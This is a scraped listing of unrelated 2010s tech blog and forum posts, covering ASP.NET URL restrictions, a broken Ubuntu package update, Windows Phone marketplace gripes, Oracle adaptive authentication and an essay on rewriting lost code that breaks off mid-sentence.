recent Hotmail outage. DOJ sends order to Twitter for Wikileaks-related account info The U.S. Justice Department has obtained a court order directing Twitter to turn over information about the accounts of activists with ties to Wikileaks, including an Icelandic politician, a legendary Dutch hacker, and a U.S. computer programmer. Google gets court to block Microsoft Interior Department e-mail win The U.S. Federal Claims Court has temporarily blocked Microsoft from proceeding with the $49.3 million, five-year DOI contract that it won this past November. Google Apps customers get email lockdown Companies and organisations using Google Apps are now able to restrict the email access of selected users. LibreOffice Is the Default Office Suite for Ubuntu 11.04 Matthias Klose has announced some details regarding the replacement of the old OpenOffice.org 3.2.1 packages with the new LibreOffice 3.3 ones, starting with the upcoming Ubuntu 11.04 (Natty Narwhal) Alpha 2 release. Sysadmin Geek Tips Photo by Filomena Scalise. How to Setup Software RAID for a Simple File Server on Ubuntu Do you need a file server that is cheap and easy to setup, “rock solid” reliable, and has Email Alerting? This tutorial shows you how to use Ubuntu, software RAID, and SaMBa to accomplish just that. How to Control the Order of Startup Programs in Windows While you can specify the applications you want to launch when Windows starts, the ability to control the order in which they start is not available. However, there are a couple of ways you can easily overcome this limitation and control the startup order of applications. Random TinyHacker Links Using Opera Unite to Send Large Files A tutorial on using Opera Unite to easily send huge files from your computer. WorkFlowy is a Useful To-do List Tool A cool to-do list tool that lets you integrate multiple tasks in one single list easily. Playing Flash Videos on iOS Devices Yes, you can play flash videos on jailbroken iPhones. Here’s a tutorial. Clear Safari History and Cookies On iPhone A tutorial on clearing your browser history on iPhone and other iOS devices. Monitor Your Internet Usage Here’s a cool, cross-platform tool to monitor your internet bandwidth. Super User Questions See what the community had to say on these popular questions from Super User this week. Why is my upload speed much less than my download speed? Where should I find drivers for my laptop if it didn’t come with a driver disk? OEM Office 2010 without media – how to reinstall? Is there a point to using theft tracking software like Prey on my laptop, if you have login security? Moving an “all-in-one” PC when turned on/off How-To Geek Weekly Article Recap Get caught up on your HTG reading with our hottest articles from this past week. How to Combine Rescue Disks to Create the Ultimate Windows Repair Disk How To Boot 10 Different Live CDs From 1 USB Flash Drive What is Camera Raw, and Why Would a Professional Prefer it to JPG? Did You Know Facebook Has Built-In Shortcut Keys? The How-To Geek Guide to Audio Editing: The Basics One Year Ago on How-To Geek Enjoy looking through our latest gathering of retro article goodness. Learning Windows 7: Create a Homegroup & Join a New Computer To It How To Disconnect a Machine from a Homegroup Use Remote Desktop To Access Other Computers On a Small Office or Home Network How To Share Files and Printers Between Windows 7 and Vista Allow Users To Run Only Specified Programs in Windows 7 The Geek Note That is all we have for you this week and we hope your first week back at work or school has gone very well now that the holidays are over. Know a great tip? Send it in to us at [email protected]. Photo by Pamela Machado. Latest Features How-To Geek ETC HTG Projects: How to Create Your Own Custom Papercraft Toy How to Combine Rescue Disks to Create the Ultimate Windows Repair Disk What is Camera Raw, and Why Would a Professional Prefer it to JPG? The How-To Geek Guide to Audio Editing: The Basics How To Boot 10 Different Live CDs From 1 USB Flash Drive The 20 Best How-To Geek Linux Articles of 2010 Arctic Theme for Windows 7 Gives Your Desktop an Icy Touch Install LibreOffice via PPA and Receive Auto-Updates in Ubuntu Creative Portraits Peek Inside the Guts of Modern Electronics Scenic Winter Lane Wallpaper to Create a Relaxing Mood Access Your Web Apps Directly Using the Context Menu in Chrome The Deep – Awesome Use of Metal Objects as Deep Sea Creatures [Video]

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  • Interesting things – Twitter annotations and your phone as a web server

    - by jamiet
    I overheard/read a couple of things today that really made me, data junkie that I am, take a step back and think, “Hmmm, yeah, that could be really interesting” and I wanted to make a note of them here so that (a) I could bring them to the attention of anyone that happens to read this and (b) I can maybe come back here in a few years and see if either of these have come to fruition. Your phone as a web server While listening to Jon Udell’s (twitter) “Interviews with Innovators Podcast” today in which he interviewed Herbert Van de Sompel (twitter) about his Momento project. During the interview Jon and Herbert made the following remarks: Jon: [some people] really had this vision of a web of servers, the notion that every node on the internet, every connected entity, is potentially a server and a client…we can see where we’re getting to a point where these endpoint devices we have in our pockets are going to be massively capable and it may be in the not too distant future that significant chunks of the web archive will be cached all over the place including on your own machine… Herbert: wasn’t it Opera who at one point turned your browser into a server? That really got my brain ticking. We all carry a mobile phone with us and therefore we all potentially carry a mobile web server with us as well and to my mind the only thing really stopping that from happening is the capabilities of the phone hardware, the capabilities of the network infrastructure and the will to just bloody do it. Certainly all the standards required for addressing a web server on a phone already exist (to this uninitiated observer DNS and IPv6 seem to solve that problem) so why not? I tweeted about the idea and Rory Street answered back with “why would you want a phone to be a web server?”: Its a fair question and one that I would like to try and answer. Mobile phones are increasingly becoming our window onto the world as we use them to upload messages to Twitter, record our location on FourSquare or interact with our friends on Facebook but in each of these cases some other service is acting as our intermediary; to see what I’m thinking you have to go via Twitter, to see where I am you have to go to FourSquare (I’m using ‘I’ liberally, I don’t actually use FourSquare before you ask). Why should this have to be the case? Why can’t that data be decentralised? Why can’t we be masters of our own data universe? If my phone acted as a web server then I could expose all of that information without needing those intermediary services. I see a time when we can pass around URLs such as the following: http://jamiesphone.net/location/current - Where is Jamie right now? http://jamiesphone.net/location/2010-04-21 – Where was Jamie on 21st April 2010? http://jamiesphone.net/thoughts/current – What’s on Jamie’s mind right now? http://jamiesphone.net/blog – What documents is Jamie sharing with me? http://jamiesphone.net/calendar/next7days – Where is Jamie planning to be over the next 7 days? and those URLs get served off of the phone in our pockets. If we govern that data then we can control who has access to it and (crucially) how long its available for. Want to wipe yourself off the face of the web? its pretty easy if you’re in control of all the data – just turn your phone off. None of this exists today but I look forward to a time when it does. Opera really were onto something last June when they announced Opera Unite (admittedly Unite only works because Opera provide an intermediary DNS-alike system – it isn’t totally decentralised). Opening up Twitter annotations Last week Twitter held their first developer conference called Chirp where they announced an upcoming new feature called ‘Twitter Annotations’; in short this will allow us to attach metadata to a Tweet thus enhancing the tweet itself. Think of it as a richer version of hashtags. To think of it another way Twitter are turning their data into a humongous Entity-Attribute-Value or triple-tuple store. That alone has huge implications both for the web and Twitter as a whole – the ability to enrich that 140 characters data and thus make it more useful is indeed compelling however today I stumbled upon a blog post from Eugene Mandel entitled Tweet Annotations – a Way to a Metadata Marketplace? where he proposed the idea of allowing tweets to have metadata added by people other than the person who tweeted the original tweet. This idea really fascinated me especially when I read some of the potential uses that Eugene and his commenters suggested. They included: Amazon could attach an ISBN to a tweet that mentions a book. Specialist clients apps for book lovers could be built up around this metadata. Advertisers could pay to place adverts in metadata. The revenue generated from those adverts could be shared with the tweeter or people who add the metadata. Granted, allowing anyone to add metadata to a tweet has the potential to create a spam problem the like of which we haven’t even envisaged but spam hasn’t halted the growth of the web and neither should it halt the growth of data annotations either. The original tweeter should of course be able to determine who can add metadata and whether it should be moderated. As Eugene says himself: Opening publishing tweet annotations to anyone will open the way to a marketplace of metadata where client developers, data mining companies and advertisers can add new meaning to Twitter and build innovative businesses. What Eugene and his followers did not mention is what I think is potentially the most fascinating use of opening up annotations. Google’s success today is built on their page rank algorithm that measures the validity of a web page by the number of incoming links to it and the page rank of the sites containing those links – its a system built on reputation. Twitter annotations could open up a new paradigm however – let’s call it People rank- where reputation can be measured by the metadata that people choose to apply to links and the websites containing those links. Its not hard to see why Google and Microsoft have paid big bucks to get access to the Twitter firehose! Neither of these features, phones as a web server or the ability to add annotations to other people’s tweets, exist today but I strongly believe that they could dramatically enhance the web as we know it today. I hope to look back on this blog post in a few years in the knowledge that these ideas have been put into place. @Jamiet Share this post: email it! | bookmark it! | digg it! | reddit! | kick it! | live it!

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  • Understanding 400 Bad Request Exception

    - by imran_ku07
        Introduction:          Why I am getting this exception? What is the cause of this error. Developers are always curious to know the root cause of an exception, even though they found the solution from elsewhere. So what is the reason of this exception (400 Bad Request).The answer is security. Security is an important feature for any application. ASP.NET try to his best to give you more secure application environment as possible. One important security feature is related to URLs. Because there are various ways a hacker can try to access server resource. Therefore it is important to make your application as secure as possible. Fortunately, ASP.NET provides this security by throwing an exception of Bad Request whenever he feels. In this Article I am try to present when ASP.NET feels to throw this exception. You will also see some new ASP.NET 4 features which gives developers some control on this situation.   Description:   http.sys Restrictions:           It is interesting to note that after deploying your application on windows server that runs IIS 6 or higher, the first receptionist of HTTP request is the kernel mode HTTP driver: http.sys. Therefore for completing your request successfully you need to present your validity to http.sys and must pass the http.sys restriction.           Every http request URL must not contain any character from ASCII range of 0x00 to 0x1F, because they are not printable. These characters are invalid because these are invalid URL characters as defined in RFC 2396 of the IETF. But a question may arise that how it is possible to send unprintable character. The answer is that when you send your request from your application in binary format.           Another restriction is on the size of the request. A request containg protocal, server name, headers, query string information and individual headers sent along with the request must not exceed 16KB. Also individual header should not exceed 16KB.           Any individual path segment (the portion of the URL that does not include protocol, server name, and query string, for example, http://a/b/c?d=e,  here the b and c are individual path) must not contain more than 260 characters. Also http.sys disallows URLs that have more than 255 path segments.           If any of the above rules are not follow then you will get 400 Bad Request Exception. The reason for this restriction is due to hack attacks against web servers involve encoding the URL with different character representations.           You can change the default behavior enforced by http.sys using some Registry switches present at HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters    ASP.NET Restrictions:           After passing the restrictions enforced by the kernel mode http.sys then the request is handed off to IIS and then to ASP.NET engine and then again request has to pass some restriction from ASP.NET in order to complete it successfully.           ASP.NET only allows URL path lengths to 260 characters(only paths, for example http://a/b/c/d, here path is from a to d). This means that if you have long paths containing 261 characters then you will get the Bad Request exception. This is due to NTFS file-path limit.           Another restriction is that which characters can be used in URL path portion.You can use any characters except some characters because they are called invalid characters in path. Here are some of these invalid character in the path portion of a URL, <,>,*,%,&,:,\,?. For confirming this just right click on your Solution Explorer and Add New Folder and name this File to any of the above character, you will get the message. Files or folders cannot be empty strings nor they contain only '.' or have any of the following characters.....            For checking the above situation i have created a Web Application and put Default.aspx inside A%A folder (created from windows explorer), then navigate to, http://localhost:1234/A%25A/Default.aspx, what i get response from server is the Bad Request exception. The reason is that %25 is the % character which is invalid URL path character in ASP.NET. However you can use these characters in query string.           The reason for these restrictions are due to security, for example with the help of % you can double encode the URL path portion and : is used to get some specific resource from server.   New ASP.NET 4 Features:           It is worth to discuss the new ASP.NET 4 features that provides some control in the hand of developer. Previously we are restricted to 260 characters path length and restricted to not use some of characters, means these characters cannot become the part of the URL path segment.           You can configure maxRequestPathLength and maxQueryStringLength to allow longer or shorter paths and query strings. You can also customize set of invalid character using requestPathInvalidChars, under httpruntime element. This may be the good news for someone who needs to use some above character in their application which was invalid in previous versions. You can find further detail about new ASP.NET features about URL at here           Note that the above new ASP.NET settings will not effect http.sys. This means that you have pass the restriction of http.sys before ASP.NET ever come in to the action. Note also that previous restriction of http.sys is applied on individual path and maxRequestPathLength is applied on the complete path (the portion of the URL that does not include protocol, server name, and query string). For example, if URL is http://a/b/c/d?e=f, then maxRequestPathLength will takes, a/b/c/d, into account while http.sys will take a, b, c individually.   Summary:           Hopefully this will helps you to know how some of initial security features comes in to play, but i also recommend that you should read (at least first chapter called Initial Phases of a Web Request of) Professional ASP.NET 2.0 Security, Membership, and Role Management by Stefan Schackow. This is really a nice book.

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  • Package management fails in update-manager with gzip problems and compilation errors. U12.04LTS

    - by HarveyP
    Similar to but not the same as Package management system corrupted. Cannot install or remove packages. U12.04LTS (an earlier problem) with package management system. Followed all of L. D. James suggestions in his answer to no avail. This time as well as the gzip error I am also getting compilation errors. The difference may be due to a lack of compilation in my earlier problem so it may be the same error. The packages concerned are enumerated in the output from update-manager below. Also included below that is the output from apt-get -f install apt-get autoremove gives same output. Tried update without SSL updates - 9 to install and got "Unhandled Error in aptdaemon". Output number 3 below. One at a time - output 4 - is for firefox, first in the list of packages. Falls over at libssl1.0.0 despite deselection of it from update ... Tried apt-get install --reinstall dpkg which succeeded, apt-get install --reinstall tar and apt-get install --reinstall gzip both of which failed at libssl1.0.0 as ever. (as suggested by Subv3rsion elsewhere in this forum) Now cannot apt-get update with complete success even after changing server and apt-get clean - output number 5 below ... 1). Output from update-manager The following packages will be upgraded:<> firefox firefox-globalmenu firefox-locale-en libavcodec-extra-53 libavformat53 libavutil-extra-51 libjson0 libpostproc52 libssl1.0.0 libswscale2 openssl 11 to upgrade, 0 to newly install, 0 to remove and 0 not to upgrade.<br> Need to get 0 B/46.5 MB of archives. After this operation, 1,416 kB of additional disk space will be used.<br> Do you want to continue [Y/n]? y debconf: Perl may be unconfigured (Bareword "gensym" not allowed while "strict subs" in use at /usr/lib/perl/5.14/IO/Handle.pm line 67. BEGIN not safe after errors--compilation aborted at /usr/lib/perl/5.14/IO/Handle.pm line 366. Compilation failed in require at /usr/lib/perl/5.14/IO/Seekable.pm line 9. BEGIN failed--compilation aborted at /usr/lib/perl/5.14/IO/Seekable.pm line 9. Compilation failed in require at /usr/lib/perl/5.14/IO/File.pm line 11. BEGIN failed--compilation aborted at /usr/lib/perl/5.14/IO/File.pm line 11. Compilation failed in require at /usr/share/perl/5.14/FileHandle.pm line 9. Compilation failed in require at (eval 1) line 3. BEGIN failed--compilation aborted at (eval 1) line 3. ) -- aborting (Reading database ... 160575 files and directories currently installed.) Preparing to replace libssl1.0.0 1.0.1-4ubuntu5.14 (using .../libssl1.0.0_1.0.1-4ubuntu5.15_i386.deb) ... Unpacking replacement libssl1.0.0 ... dpkg-deb (subprocess): data: internal gzip read error: '<fd:4>: data error' dpkg-deb: error: subprocess <decompress> returned error exit status 2 dpkg: error processing /var/cache/apt/archives/libssl1.0.0_1.0.1-4ubuntu5.15_i386.deb (--unpack):<br> subprocess dpkg-deb --fsys-tarfile returned error exit status 2 No apport report written because MaxReports has already been reached Bareword "gensym" not allowed while "strict subs" in use at /usr/lib/perl/5.14/IO/Handle.pm line 67. BEGIN not safe after errors--compilation aborted at /usr/lib/perl/5.14/IO/Handle.pm line 366. Compilation failed in require at /usr/lib/perl/5.14/IO/Seekable.pm line 9. BEGIN failed--compilation aborted at /usr/lib/perl/5.14/IO/Seekable.pm line 9. Compilation failed in require at /usr/lib/perl/5.14/IO/File.pm line 11. BEGIN failed--compilation aborted at /usr/lib/perl/5.14/IO/File.pm line 11. Compilation failed in require at /usr/share/perl/5.14/FileHandle.pm line 9. Compilation failed in require at /usr/share/perl5/Debconf/Template.pm line 8. BEGIN failed--compilation aborted at /usr/share/perl5/Debconf/Template.pm line 8. Compilation failed in require at /usr/share/perl5/Debconf/Question.pm line 8. BEGIN failed--compilation aborted at /usr/share/perl5/Debconf/Question.pm line 8. Compilation failed in require at /usr/share/perl5/Debconf/Config.pm line 7. BEGIN failed--compilation aborted at /usr/share/perl5/Debconf/Config.pm line 7. Compilation failed in require at /usr/share/perl5/Debconf/Log.pm line 10. Compilation failed in require at /usr/share/perl5/Debconf/Db.pm line 7. BEGIN failed--compilation aborted at /usr/share/perl5/Debconf/Db.pm line 7. Compilation failed in require at /usr/share/debconf/frontend line 6. BEGIN failed--compilation aborted at /usr/share/debconf/frontend line 6. dpkg: error whale cleanang up: subprgcess installed post-installation script returned error exit status 2 Errors were encountered while processing: /var/cache/apt/archives/libssl1.0.0_1.0.1-4ubuntu5.15_i386.deb E: Sub-process /usr/bin/dpkg returned an error code (1) 2). Output from install -f harveyp@harveyp:~$ sudo apt-get -f install [sudo] password for harveyp: Reading package lists... Done Building dependency tree Reading state information... Done 0 to upgrade, 0 to newly install, 0 to remove and 11 not to upgrade. 1 not fully installed or removed.<br> After this operation, 0 B of additional disk space will be used. E: Internal Error, No file name for libssl1.0.0 3). Unhandled error from aptdaemon Traceback (most recent call last): File "/usr/lib/python2.7/dist-packages/aptdaemon/worker.py", line 1045, in _simulate trans.unauthenticated = self.__simulate(trans) File "/usr/lib/python2.7/dist-packages/aptdaemon/worker.py", line 1160, in __simulate unauthenticated = self._get_unauthenticated() File "/usr/lib/python2.7/dist-packages/aptdaemon/worker.py", line 347, in _get_unauthenticated for pkg in self._iterate_packages(): File "/usr/lib/python2.7/dist-packages/aptdaemon/worker.py", line 1356, in _iterate_packages for enum, pkg in enumerate(self._cache): File "/usr/lib/python2.7/dist-packages/apt/cache.py", line 216, in __iter__ yield self[pkgname] File "/usr/lib/python2.7/dist-packages/apt/cache.py", line 201, in __getitem__ pkg = self._weakref[key] = Package(self, self._cache[key]) KeyError: 'librqrcode-rubq-doc 4). output from update of firefox installArchives() failed: Error in function: < Setting up libssl1.0.0 (1.0.1-4ubuntu5.14) ... Bareword "gensym" not allowed while "strict subs" in use at /usr/lib/perl/5.14/IO/Handle.pm line 67. BEGIN not safe after errors--compilation aborted at /usr/lib/perl/5.14/IO/Handle.pm line 366. Compilation failed in require at /usr/lib/perl/5.14/IO/Seekable.pm line 9. BEGIN failed--compilation aborted at /usr/lib/perl/5.14/IO/Seekable.pm line 9. Compilation failed in require at /usr/lib/perl/5.14/IO/File.pm line 11. BEGIN failed--compilation aborted at /usr/lib/perl/5.14/IO/File.pm line 11. Compilation failed in require at /usr/share/perl/5.14/FileHandle.pm line 9. Compilation failed in require at /usr/share/perl5/Debconf/Template.pm line 8. BEGIN failed--compilation aborted at /usr/share/perl5/Debconf/Template.pm line 8. Compilation failed in require at /usr/share/perl5/Debconf/Question.pm line 8. BEGIN failed--compilation aborted at /usr/share/perl5/Debconf/Question.pm line 8. Compilation failed in require at /usr/share/perl5/Debconf/Config.pm line 7. BEGIN failed--compilation aborted at /usr/share/perl5/Debconf/Config.pm line 7. Compilation failed in require at /usr/share/perl5/Debconf/Log.pm line 10. 5. output from apt-get update ...snip ... Hit http://ubuntu-archive.mirrors.free.org precise-security/multiverse Translation-en Hit http://ubuntu-archive.mirrors.free.org precise-security/restricted Translation-en Hit http://ubuntu-archive.mirrors.free.org precise-security/universe Translation-en Fetched 368 kB in 6s (59.5 kB/s) W: Failed to fetch gzip:/var/lib/apt/lists/partial/ubuntu-archive.mirrors.free.org_ubuntu_dists_precise_universe_source_Sources Hash Sum mismatch E: Some index files failed to download. They have been ignored, or old ones used instead.

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  • Pet Peeves with the Windows Phone 7 Marketplace

    - by Bil Simser
    Have you ever noticed how something things just gnaw at your very being. This is the case with the WP7 marketplace, the Zune software, and the things that drive me batshit crazy with a side of fries. To go. I wanted to share. XBox Live is Not the Centre of the Universe Okay, it’s fine that the Zune software has an XBox live tag for games so can see them clearly but do we really need to have it shoved down our throats. On every click? Click on Games in the marketplace: The first thing that it defaults to on the filters on the right is XBox Live: Okay. Fine. However if you change it (say to Paid) then click onto a title when you come back from that title is the filter still set to Paid? No. It’s back to XBox Live again. Really? Give us a break. If you change to any filter on any other genre then click on the selected title, it doesn’t revert back to anything. It stays on the selection you picked. Let’s be fair here. The Games genre should behave just like every other one. If I pick Paid then when I come back to the list please remember that. Double Dipping On the subject of XBox Live titles, Microsoft (and developers who have an agreement with Microsoft to produce Live titles, which generally rules out indie game developers) is double dipping with regards to exposure of their titles. Here’s the Puzzle and Trivia Game section on the Marketplace for XBox Live titles: And here’s the same category filtered on Paid titles: See the problem? Two indie titles while the rest are XBox Live ones. So while XBL has it’s filter, they also get to showcase their wares in the Paid and Free filters as well. If you’re going to have an XBox Live filter then use it and stop pushing down indie titles until they’re off the screen (on some genres this is already the case). Free and Paid titles should be just that and not include XBox Live ones. If you’re really stoked that people can’t find the Free XBox Live titles vs. the paid ones, then create a Free XBox Live filter and a Paid XBox Live filter. I don’t think we would mind much. Whose Trial is it Anyways? You might notice apps in the marketplace with titles like “My Fart App Professional Lite” or “Silicon Lamb Spleen Builder Free”. When you submit and app to the marketplace it can either be free or paid. If it’s a paid app you also have the option to submit it with Trial capabilities. It’s up to you to decide what you offer in the trial version but trial versions can be purchased from within the app so after someone trys out your app (for free) and wants to unlock the Super Secret Obama Spy Ring Level, they can just go to the marketplace from your app (if you built that functionality in) and upgrade to the paid version. However it creates a rift of sorts when it comes to visibility. Some developers go the route of the paid app with a trial version, others decide to submit *two* apps instead of one. One app is the “Free” or “Lite” verions and the other is the paid version. Why go to the hassle of submitting two apps when you can just create a trial version in the same app? Again, visibility. There’s no way to tell Paid apps with Trial versions and ones without (it’s an option, you don’t have to provide trial versions, although I think it’s a good idea). However there is a way to see the Free apps from the Paid ones so some submit the two apps and have the Free version have links to buy the paid one (again through the Marketplace tasks in the API). What we as developers need for visibility is a new filter. Trial. That’s it. It would simply filter on Paid apps that have trial capabilities and surface up those apps just like the free ones. If Microsoft added this filter to the marketplace, it would eliminate the need for people to submit their “Free” and “Lite” versions and make it easier for the developer not to have to maintain two systems. I mean, is it really that hard? Can’t be any more difficult than the XBox Live Filter that’s already there. Location is Everything The last thing on my bucket list is about location. When I launch Zune I’m running in my native location setting, Canada. What’s great is that I navigate to the Travel Tools section where I have one of my apps and behold the splendour that I see: There are my apps in the number 1 and number 4 slot for top selling in that category. I show it to my wife to make up for the sleepless nights writing this stuff and we dance around and celebrate. Then I change my location on my operation system to United States and re-launch Zune. WTF? My flight app has slipped to the 10th spot (I’m only showing 4 across here out of the 7 in Zune) and my border check app that was #1 is now in the 32nd spot! End of celebration. Not only is relevance being looked at here, I value the comments people make on may apps as do most developers. I want to respond to them and show them that I’m listening. The next version of my border app will provide multiple camera angles. However when I’m running in my native Canada location, I only see two reviews. Changing over to United States I see fourteen! While there are tools out there to provide with you a unified view, I shouldn’t have to rely on them. My own Zune desktop software should allow me to see everything. I realize that some developers will submit an app and only target it for some locations and that’s their choice. However I shouldn’t have to jump through hoops to see what apps are ahead of mine, or see people comments and ratings. Another proposal. Either unify the marketplace (i.e. when I’m looking at it show me everything combined) or let me choose a filter. I think the first option might be difficult as you’re trying to average out top selling apps across all markets and have to deal with some apps that have been omitted from some markets. Although I think you could come up with a set of use cases that would handle that, maybe that’s too much work. At the very least, let us developers view the markets in a drop down or something from within the Zune desktop. Having to shut down Zune, change our location, and re-launch Zune to see other perspectives is just too onerous. A Call to Action These are just one mans opinion. Do you agree? Disagree? Feel hungry for a bacon sandwich? Let everyone know via the comments below. Perhaps someone from Microsoft will be reading and take some of these ideas under advisement. Maybe not, but at least let’s get the word out that we really want to see some change. Egypt can do it, why not WP7 developers!

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  • Grow Your Business with Security

    - by Darin Pendergraft
    Author: Kevin Moulton Kevin Moulton has been in the security space for more than 25 years, and with Oracle for 7 years. He manages the East EnterpriseSecurity Sales Consulting Team. He is also a Distinguished Toastmaster. Follow Kevin on Twitter at twitter.com/kevin_moulton, where he sometimes tweets about security, but might also tweet about running, beer, food, baseball, football, good books, or whatever else grabs his attention. Kevin will be a regular contributor to this blog so stay tuned for more posts from him. It happened again! There I was, reading something interesting online, and realizing that a friend might find it interesting too. I clicked on the little email link, thinking that I could easily forward this to my friend, but no! Instead, a new screen popped up where I was asked to create an account. I was expected to create a User ID and password, not to mention providing some personally identifiable information, just for the privilege of helping that website spread their word. Of course, I didn’t want to have to remember a new account and password, I didn’t want to provide the requisite information, and I didn’t want to waste my time. I gave up, closed the web page, and moved on to something else. I was left with a bad taste in my mouth, and my friend might never find her way to this interesting website. If you were this content provider, would this be the outcome you were looking for? A few days later, I had a similar experience, but this one went a little differently. I was surfing the web, when I happened upon some little chotcke that I just had to have. I added it to my cart. When I went to buy the item, I was again brought to a page to create account. Groan! But wait! On this page, I also had the option to sign in with my OpenID account, my Facebook account, my Yahoo account, or my Google Account. I have all of those! No new account to create, no new password to remember, and no personally identifiable information to be given to someone else (I’ve already given it all to those other guys, after all). In this case, the vendor was easy to deal with, and I happily completed the transaction. That pleasant experience will bring me back again. This is where security can grow your business. It’s a differentiator. You’ve got to have a presence on the web, and that presence has to take into account all the smart phones everyone’s carrying, and the tablets that took over cyber Monday this year. If you are a company that a customer can deal with securely, and do so easily, then you are a company customers will come back to again and again. I recently had a need to open a new bank account. Every bank has a web presence now, but they are certainly not all the same. I wanted one that I could deal with easily using my laptop, but I also wanted 2-factor authentication in case I had to login from a shared machine, and I wanted an app for my iPad. I found a bank with all three, and that’s who I am doing business with. Let’s say, for example, that I’m in a regular Texas Hold-em game on Friday nights, so I move a couple of hundred bucks from checking to savings on Friday afternoons. I move a similar amount each week and I do it from the same machine. The bank trusts me, and they trust my machine. Most importantly, they trust my behavior. This is adaptive authentication. There should be no reason for my bank to make this transaction difficult for me. Now let's say that I login from a Starbucks in Uzbekistan, and I transfer $2,500. What should my bank do now? Should they stop the transaction? Should they call my home number? (My former bank did exactly this once when I was taking money out of an ATM on a business trip, when I had provided my cell phone number as my primary contact. When I asked them why they called my home number rather than my cell, they told me that their “policy” is to call the home number. If I'm on the road, what exactly is the use of trying to reach me at home to verify my transaction?) But, back to Uzbekistan… Should my bank assume that I am happily at home in New Jersey, and someone is trying to hack into my account? Perhaps they think they are protecting me, but I wouldn’t be very happy if I happened to be traveling on business in Central Asia. What if my bank were to automatically analyze my behavior and calculate a risk score? Clearly, this scenario would be outside of my typical behavior, so my risk score would necessitate something more than a simple login and password. Perhaps, in this case, a one-time password to my cell phone would prove that this is not just some hacker half way around the world. But, what if you're not a bank? Do you need this level of security? If you want to be a business that is easy to deal with while also protecting your customers, then of course you do. You want your customers to trust you, but you also want them to enjoy doing business with you. Make it easy for them to do business with you, and they’ll come back, and perhaps even Tweet about it, or Like you, and then their friends will follow. How can Oracle help? Oracle has the technology and expertise to help you to grown your business with security. Oracle Adaptive Access Manager will help you to prevent fraud while making it easier for your customers to do business with you by providing the risk analysis I discussed above, step-up authentication, and much more. Oracle Mobile and Social Access Service will help you to secure mobile access to applications by expanding on your existing back-end identity management infrastructure, and allowing your customers to transact business with you using the social media accounts they already know. You also have device fingerprinting and metrics to help you to grow your business securely. Security is not just a cost anymore. It’s a way to set your business apart. With Oracle’s help, you can be the business that everyone’s tweeting about. Image courtesy of Flickr user shareski

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  • Source-control 'wet-work'?

    - by Phil Factor
    When a design or creative work is flawed beyond remedy, it is often best to destroy it and start again. The other day, I lost the code to a long and intricate SQL batch I was working on. I’d thought it was impossible, but it happened. With all the technology around that is designed to prevent this occurring, this sort of accident has become a rare event.  If it weren’t for a deranged laptop, and my distraction, the code wouldn’t have been lost this time.  As always, I sighed, had a soothing cup of tea, and typed it all in again.  The new code I hastily tapped in  was much better: I’d held in my head the essence of how the code should work rather than the details: I now knew for certain  the start point, the end, and how it should be achieved. Instantly the detritus of half-baked thoughts fell away and I was able to write logical code that performed better.  Because I could work so quickly, I was able to hold the details of all the columns and variables in my head, and the dynamics of the flow of data. It was, in fact, easier and quicker to start from scratch rather than tidy up and refactor the existing code with its inevitable fumbling and half-baked ideas. What a shame that technology is now so good that developers rarely experience the cleansing shock of losing one’s code and having to rewrite it from scratch.  If you’ve never accidentally lost  your code, then it is worth doing it deliberately once for the experience. Creative people have, until Technology mistakenly prevented it, torn up their drafts or sketches, threw them in the bin, and started again from scratch.  Leonardo’s obsessive reworking of the Mona Lisa was renowned because it was so unusual:  Most artists have been utterly ruthless in destroying work that didn’t quite make it. Authors are particularly keen on writing afresh, and the results are generally positive. Lawrence of Arabia actually lost the entire 250,000 word manuscript of ‘The Seven Pillars of Wisdom’ by accidentally leaving it on a train at Reading station, before rewriting a much better version.  Now, any writer or artist is seduced by technology into altering or refining their work rather than casting it dramatically in the bin or setting a light to it on a bonfire, and rewriting it from the blank page.  It is easy to pick away at a flawed work, but the real creative process is far more brutal. Once, many years ago whilst running a software house that supplied commercial software to local businesses, I’d been supervising an accounting system for a farming cooperative. No packaged system met their needs, and it was all hand-cut code.  For us, it represented a breakthrough as it was for a government organisation, and success would guarantee more contracts. As you’ve probably guessed, the code got mangled in a disk crash just a week before the deadline for delivery, and the many backups all proved to be entirely corrupted by a faulty tape drive.  There were some fragments left on individual machines, but they were all of different versions.  The developers were in despair.  Strangely, I managed to re-write the bulk of a three-month project in a manic and caffeine-soaked weekend.  Sure, that elegant universally-applicable input-form routine was‘nt quite so elegant, but it didn’t really need to be as we knew what forms it needed to support.  Yes, the code lacked architectural elegance and reusability. By dawn on Monday, the application passed its integration tests. The developers rose to the occasion after I’d collapsed, and tidied up what I’d done, though they were reproachful that some of the style and elegance had gone out of the application. By the delivery date, we were able to install it. It was a smaller, faster application than the beta they’d seen and the user-interface had a new, rather Spartan, appearance that we swore was done to conform to the latest in user-interface guidelines. (we switched to Helvetica font to look more ‘Bauhaus’ ). The client was so delighted that he forgave the new bugs that had crept in. I still have the disk that crashed, up in the attic. In IT, we have had mixed experiences from complete re-writes. Lotus 123 never really recovered from a complete rewrite from assembler into C, Borland made the mistake with Arago and Quattro Pro  and Netscape’s complete rewrite of their Navigator 4 browser was a white-knuckle ride. In all cases, the decision to rewrite was a result of extreme circumstances where no other course of action seemed possible.   The rewrite didn’t come out of the blue. I prefer to remember the rewrite of Minix by young Linus Torvalds, or the rewrite of Bitkeeper by a slightly older Linus.  The rewrite of CP/M didn’t do too badly either, did it? Come to think of it, the guy who decided to rewrite the windowing system of the Xerox Star never regretted the decision. I’ll agree that one should often resist calls for a rewrite. One of the worst habits of the more inexperienced programmer is to denigrate whatever code he or she inherits, and then call loudly for a complete rewrite. They are buoyed up by the mistaken belief that they can do better. This, however, is a different psychological phenomenon, more related to the idea of some motorcyclists that they are operating on infinite lives, or the occasional squaddies that if they charge the machine-guns determinedly enough all will be well. Grim experience brings out the humility in any experienced programmer.  I’m referring to quite different circumstances here. Where a team knows the requirements perfectly, are of one mind on methodology and coding standards, and they already have a solution, then what is wrong with considering  a complete rewrite? Rewrites are so painful in the early stages, until that point where one realises the payoff, that even I quail at the thought. One needs a natural disaster to push one over the edge. The trouble is that source-control systems, and disaster recovery systems, are just too good nowadays.   If I were to lose this draft of this very blog post, I know I’d rewrite it much better. However, if you read this, you’ll know I didn’t have the nerve to delete it and start again.  There was a time that one prayed that unreliable hardware would deliver you from an unmaintainable mess of a codebase, but now technology has made us almost entirely immune to such a merciful act of God. An old friend of mine with long experience in the software industry has long had the idea of the ‘source-control wet-work’,  where one hires a malicious hacker in some wild eastern country to hack into one’s own  source control system to destroy all trace of the source to an application. Alas, backup systems are just too good to make this any more than a pipedream. Somehow, it would be difficult to promote the idea. As an 